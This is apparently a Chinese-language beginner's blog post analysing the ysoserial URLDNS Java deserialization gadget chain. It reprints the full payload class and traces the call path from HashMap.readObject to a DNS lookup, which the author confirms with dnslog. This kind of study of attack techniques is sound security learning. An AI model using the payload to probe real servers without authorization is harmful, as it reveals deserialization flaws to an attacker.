最近才入门java安全学习,对知识的理解可能还有些欠缺,如果哪里有问题欢迎各位表哥批评指导。谢谢大家!!!
URLDNS就是ysoserial中一个利用链的名字。但准确来说,这个其实不能称作利⽤链。因为其参数不是一个可以利⽤的命令,而仅为一个url。其能触发的结果也不是命令执行,⽽是一次DNS请求。但是由于原生态不存在版本限制以及在目标没有回显时,所以我们能够通过dns请求得知是否存在反序列化,通常可以用于反序列化漏洞验证。
初探urldns链子
先从ysoserial给的payload开始分析
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
使用ai简单辅助理解代码
关键代码的解释
getObject 方法返回一个对象,这个对象就是被序列化后的对象。在这里是指hashmap由于java反序列化的方法触发点在readObject。所以我们要先找到hashmap的readObject方法,从这里开始跟。
先了解一下hashmap,hashmap通常是一个key value的格式
接下来我们研究一下HashMap结合URL触发DNS检查的思路
HashMap实现了自己的writeObject和readObject方法。因为是研究反序列化问题,所以我们来看一下它的readObject方法
先跟到Hashmap类中
然后找到readobject方法
中间繁杂的代码不需要看,可以理解为php中的serializ()函数实现
我们直接跟到这里,可以看到将hashmap的键名计算了hash
这里发现key被hash调用,所以继续对hash函数进行调试并跟进
跟进到这里
发现这个key是object类,在这里需要强调一点,object是一个基类
如果我现在定义一个test类
test externs Object(){}
test a = new test();
当我们new了a这个对象之后,那么它就同时是test这个类和object类,因为test是Object类的子类
Object类中定义了hashcode方法,它的子类中也会定义hashcode方法,这种方式叫重写
当我们再调用这个方法
a.hashcode();
它会执行test类中定义的hashcode方法
在这里我们想找的方法是hashcode,可以先看一下有多少hashcode被重写。那么理论上这些方法都可以被调用,一共发现是1000多种
那么我们在这里就需要确定key是哪个类的,根据前辈的研究发现urldns中使用的这个key是一个java.net.url对象
我们跟到url类中,查看其hashcode方法
发现调用的是handler的hashcode,我们看一下这个handler是什么东西
发现urlstreamhandler类,继续跟进hashcode
上面这几个方法如何理解
URL lkkk = new URL("http://www.baidu.com");
lkkk.getProtocol -> "http"
lkkk.getHost -> "www.baidu.com"
还有一个getHostAddress()函数
getHostAddress()是Java中IntAddress类的一个方法。它返回与给定主机名或 IP 地址对应的 IP 地址的字符串形式。
InetAddress.getByName(host) 的作⽤是根据主机名,获取其IP地址,在网络上其实就是一次DNS查询
跟到这里就已经可以结束了
我们使用dnslog进行验证,发现成功解析
整条利用链
hashmap → readObject → hash -URL.hashcode → getHostAddress → InetAddress.getByName(host);
p牛整理的利用链,只实现了6个函数调用
非常的清晰
测试demo